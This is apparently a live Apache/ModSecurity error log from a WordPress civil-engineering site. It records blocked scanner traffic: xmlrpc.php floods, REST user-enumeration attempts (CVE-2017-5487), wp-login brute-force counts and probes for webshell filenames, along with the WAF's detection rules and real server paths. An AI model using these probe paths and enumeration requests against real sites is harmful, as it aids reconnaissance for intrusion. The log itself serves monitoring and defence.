[Sun Mar 22 20:33:01.631489 2026] [:error] [pid 30166:tid 30171] [client 43.131.243.61:41576] [client 43.131.243.61] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "ab_hfbm4_26jKMD0zy3xwwAAAUE"]
[Sun Mar 22 20:49:34.197352 2026] [:error] [pid 30166:tid 30189] [client 91.51.81.190:62402] [client 91.51.81.190] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.51.81.190, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ab_lXrm4_26jKMD0zy3-tQAAAU4"]
[Sun Mar 22 20:50:38.171181 2026] [:error] [pid 51361:tid 51377] [client 104.28.200.202:56115] [client 104.28.200.202] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.28.200.202, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ab_lnhXYUsdvKC9YWpXt3QAAAAY"]
[Sun Mar 22 20:51:16.791699 2026] [:error] [pid 30166:tid 30187] [client 38.252.34.171:64085] [client 38.252.34.171] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 38.252.34.171, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ab_lxLm4_26jKMD0zy3_7QAAAUw"]
[Sun Mar 22 20:55:11.704797 2026] [:error] [pid 51363:tid 51447] [client 38.252.34.171:50970] [client 38.252.34.171] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "ab_mr1wa9x6OCTRkhl3AYwAAAJE"]
[Sun Mar 22 20:56:57.853143 2026] [:error] [pid 51361:tid 51397] [client 38.252.34.171:52335] [client 38.252.34.171] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 38.252.34.171, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ab_nGRXYUsdvKC9YWpXzDgAAABg"]
[Sun Mar 22 21:28:35.931366 2026] [:error] [pid 40039:tid 40058] [client 122.51.236.174:43740] [client 122.51.236.174] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "ab_ugx3aDgUJfBYishnJzAAAARE"]
[Sun Mar 22 22:52:09.153740 2026] [:error] [pid 51361:tid 51388] [client 104.28.200.202:55921] [client 104.28.200.202] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "acACGRXYUsdvKC9YWpUw5QAAABA"]
[Sun Mar 22 22:53:36.479973 2026] [:error] [pid 51363:tid 51454] [client 104.28.200.202:55855] [client 104.28.200.202] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.28.200.202, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "acACcFwa9x6OCTRkhl3UzQAAAJg"]
[Sun Mar 22 22:54:53.632405 2026] [:error] [pid 30166:tid 30171] [client 104.28.200.202:55868] [client 104.28.200.202] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.28.200.202, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "acACvbm4_26jKMD0zy020AAAAUE"]
[Sun Mar 22 22:56:05.374701 2026] [:error] [pid 51363:tid 51448] [client 104.28.200.202:56175] [client 104.28.200.202] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.28.200.202, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "acADBVwa9x6OCTRkhl3VGAAAAJI"]
[Mon Mar 23 00:06:10.113275 2026] [autoindex:error] [pid 51468:tid 51476] [client 142.93.208.146:62679] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Mon Mar 23 01:47:16.673880 2026] [:error] [pid 20856:tid 20919] [client 43.167.245.18:59670] [client 43.167.245.18] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "acArJMxFtXFVNE-X2-KXnAAAAMA"]
[Mon Mar 23 02:37:24.727129 2026] [:error] [pid 20856:tid 20933] [client 35.231.161.125:54682] [client 35.231.161.125] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users/"] [unique_id "acA25MxFtXFVNE-X2-KpdgAAAM4"]
[Mon Mar 23 02:37:25.868893 2026] [:error] [pid 20856:tid 20920] [client 35.231.161.125:54682] [client 35.231.161.125] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.231.161.125, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "acA25cxFtXFVNE-X2-KpeAAAAME"]
[Mon Mar 23 02:37:27.104507 2026] [:error] [pid 20856:tid 20921] [client 35.231.161.125:54573] [client 35.231.161.125] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.231.161.125, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "acA258xFtXFVNE-X2-KpewAAAMI"]
[Mon Mar 23 02:37:28.267204 2026] [:error] [pid 27776:tid 27863] [client 35.231.161.125:64359] [client 35.231.161.125] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.231.161.125, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "acA26I3Eaq7IZ5L-4XVpeAAAARA"]
[Mon Mar 23 02:37:29.474228 2026] [:error] [pid 27776:tid 27868] [client 35.231.161.125:57585] [client 35.231.161.125] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.231.161.125, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "acA26Y3Eaq7IZ5L-4XVpfAAAARU"]
[Mon Mar 23 02:37:30.687157 2026] [:error] [pid 20587:tid 20647] [client 35.231.161.125:50513] [client 35.231.161.125] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.231.161.125, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "acA26oByf8r3QAk4VXP5GgAAAIQ"]
[Mon Mar 23 02:37:31.854410 2026] [:error] [pid 20856:tid 20930] [client 35.231.161.125:60505] [client 35.231.161.125] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.231.161.125, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "acA268xFtXFVNE-X2-KpfwAAAMs"]
[Mon Mar 23 02:37:31.854588 2026] [:error] [pid 20856:tid 20930] [client 35.231.161.125:60505] [client 35.231.161.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 35.231.161.125, counter = 6"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "acA268xFtXFVNE-X2-KpfwAAAMs"]
[Mon Mar 23 02:43:39.991321 2026] [:error] [pid 27776:tid 27864] [client 20.220.61.78:6534] [client 20.220.61.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class-t.api.php"] [unique_id "acA4W43Eaq7IZ5L-4XVswAAAARE"]
[Mon Mar 23 02:43:41.198526 2026] [:error] [pid 20574:tid 20589] [client 20.220.61.78:6575] [client 20.220.61.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class-t.api.php"] [unique_id "acA4XddMXEnEZrwyzJkXcAAAAAA"]
[Mon Mar 23 02:43:42.261694 2026] [:error] [pid 20574:tid 20612] [client 20.220.61.78:6543] [client 20.220.61.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class-t.api.php"] [unique_id "acA4XtdMXEnEZrwyzJkXcgAAABc"]
[Mon Mar 23 02:43:43.263342 2026] [:error] [pid 27776:tid 27867] [client 20.220.61.78:6348] [client 20.220.61.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class-t.api.php"] [unique_id "acA4X43Eaq7IZ5L-4XVsyAAAARQ"]
[Mon Mar 23 03:58:34.154054 2026] [autoindex:error] [pid 23440:tid 23494] [client 20.220.145.74:19582] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2024/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Mar 23 03:58:34.360730 2026] [:error] [pid 23440:tid 23476] [client 20.220.145.74:19582] [client 20.220.145.74] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.220.145.74, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/wp-login.php"] [unique_id "acBJ6j49_8n8h_ttcUqxwQAAAEA"]
[Mon Mar 23 03:58:41.013064 2026] [autoindex:error] [pid 23440:tid 23494] [client 20.220.145.74:19582] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Requests/library/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Mar 23 03:58:41.224612 2026] [autoindex:error] [pid 23440:tid 23486] [client 20.220.145.74:19582] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Mar 23 03:58:42.684136 2026] [autoindex:error] [pid 23440:tid 23477] [client 20.220.145.74:19582] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/images/crystal/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Mar 23 03:58:44.161042 2026] [:error] [pid 23440:tid 23495] [client 20.220.145.74:19582] [client 20.220.145.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "acBJ9D49_8n8h_ttcUqx3wAAAFM"]
[Mon Mar 23 03:58:45.244847 2026] [:error] [pid 23539:tid 23554] [client 20.220.145.74:20101] [client 20.220.145.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "acBJ9X7Dh3qWGSpIAZUS7QAAAMY"]
[Mon Mar 23 03:58:46.079651 2026] [:error] [pid 23539:tid 23567] [client 20.220.145.74:19527] [client 20.220.145.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "acBJ9n7Dh3qWGSpIAZUS8wAAANM"]
[Mon Mar 23 03:58:46.907367 2026] [:error] [pid 23441:tid 23517] [client 20.220.145.74:19561] [client 20.220.145.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "acBJ9hq7S-oOqSXZEr4zjAAAAI4"]
[Mon Mar 23 04:17:41.056360 2026] [:error] [pid 23441:tid 23520] [client 138.117.221.90:47412] [client 138.117.221.90] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.117.221.90, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "acBOZRq7S-oOqSXZEr47YwAAAJE"]
[Mon Mar 23 04:18:28.191276 2026] [:error] [pid 57265:tid 57285] [client 170.233.159.227:22785] [client 170.233.159.227] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 170.233.159.227, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "acBOlGNLjPJJkhuqCsiERQAAARI"]
[Mon Mar 23 04:23:51.089489 2026] [:error] [pid 23539:tid 23551] [client 170.233.159.227:23731] [client 170.233.159.227] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "acBP137Dh3qWGSpIAZUg1gAAAMM"]
[Mon Mar 23 04:25:18.819015 2026] [:error] [pid 57265:tid 57291] [client 170.233.159.227:23285] [client 170.233.159.227] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 170.233.159.227, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "acBQLmNLjPJJkhuqCsiIPgAAARg"]
[Mon Mar 23 04:56:49.713095 2026] [autoindex:error] [pid 23441:tid 23527] [client 207.180.194.94:59710] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Mon Mar 23 04:58:02.859098 2026] [:error] [pid 23441:tid 23526] [client 20.220.61.78:4689] [client 20.220.61.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/htaccess.php"] [unique_id "acBX2hq7S-oOqSXZEr5IjwAAAJc"]
[Mon Mar 23 04:58:04.237499 2026] [:error] [pid 23441:tid 23523] [client 20.220.61.78:54752] [client 20.220.61.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/htaccess.php"] [unique_id "acBX3Bq7S-oOqSXZEr5IlQAAAJQ"]
[Mon Mar 23 04:58:05.649423 2026] [:error] [pid 23441:tid 23516] [client 20.220.61.78:54733] [client 20.220.61.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/htaccess.php"] [unique_id "acBX3Rq7S-oOqSXZEr5ImwAAAI0"]
[Mon Mar 23 04:58:06.547143 2026] [:error] [pid 23441:tid 23526] [client 20.220.61.78:4682] [client 20.220.61.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/htaccess.php"] [unique_id "acBX3hq7S-oOqSXZEr5InAAAAJc"]
[Mon Mar 23 06:59:07.631633 2026] [:error] [pid 57265:tid 57290] [client 43.153.27.244:44826] [client 43.153.27.244] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "acB0O2NLjPJJkhuqCsjGbwAAARc"]
[Mon Mar 23 11:07:13.570583 2026] [:error] [pid 57265:tid 57272] [client 182.44.12.37:49989] [client 182.44.12.37] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "acCuYWNLjPJJkhuqCsg-PAAAAQU"]
[Mon Mar 23 11:42:58.795342 2026] [autoindex:error] [pid 57265:tid 57272] [client 142.93.208.146:64329] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Mon Mar 23 13:32:12.493881 2026] [:error] [pid 14573:tid 14585] [client 192.159.99.20:53669] [client 192.159.99.20] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.159.99.20, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "acDQXO-oSmHn3q4_J1FRJwAAAUo"]
[Mon Mar 23 13:34:59.112936 2026] [:error] [pid 57265:tid 57289] [client 172.87.22.82:65087] [client 172.87.22.82] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.87.22.82, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "acDRA2NLjPJJkhuqCsiMqAAAARY"]
[Mon Mar 23 13:35:12.401414 2026] [:error] [pid 14573:tid 14598] [client 103.148.20.98:13872] [client 103.148.20.98] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.148.20.98, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "acDREO-oSmHn3q4_J1FR2QAAAVc"]
[Mon Mar 23 13:35:48.630248 2026] [:error] [pid 23539:tid 23550] [client 157.32.116.234:14298] [client 157.32.116.234] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.32.116.234, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "acDRNH7Dh3qWGSpIAZXbcQAAAMI"]
[Mon Mar 23 13:57:16.891085 2026] [:error] [pid 57265:tid 57267] [client 103.148.20.98:10592] [client 103.148.20.98] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "acDWPGNLjPJJkhuqCsiZiQAAAQA"]
[Mon Mar 23 13:58:48.918394 2026] [:error] [pid 57265:tid 57284] [client 103.148.20.98:8433] [client 103.148.20.98] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.148.20.98, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "acDWmGNLjPJJkhuqCsibFAAAARE"]
[Mon Mar 23 17:42:20.503384 2026] [:error] [pid 35165:tid 35176] [client 43.130.111.40:53768] [client 43.130.111.40] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "acEK_M6udpN6Esk7JKupzAAAAYg"]
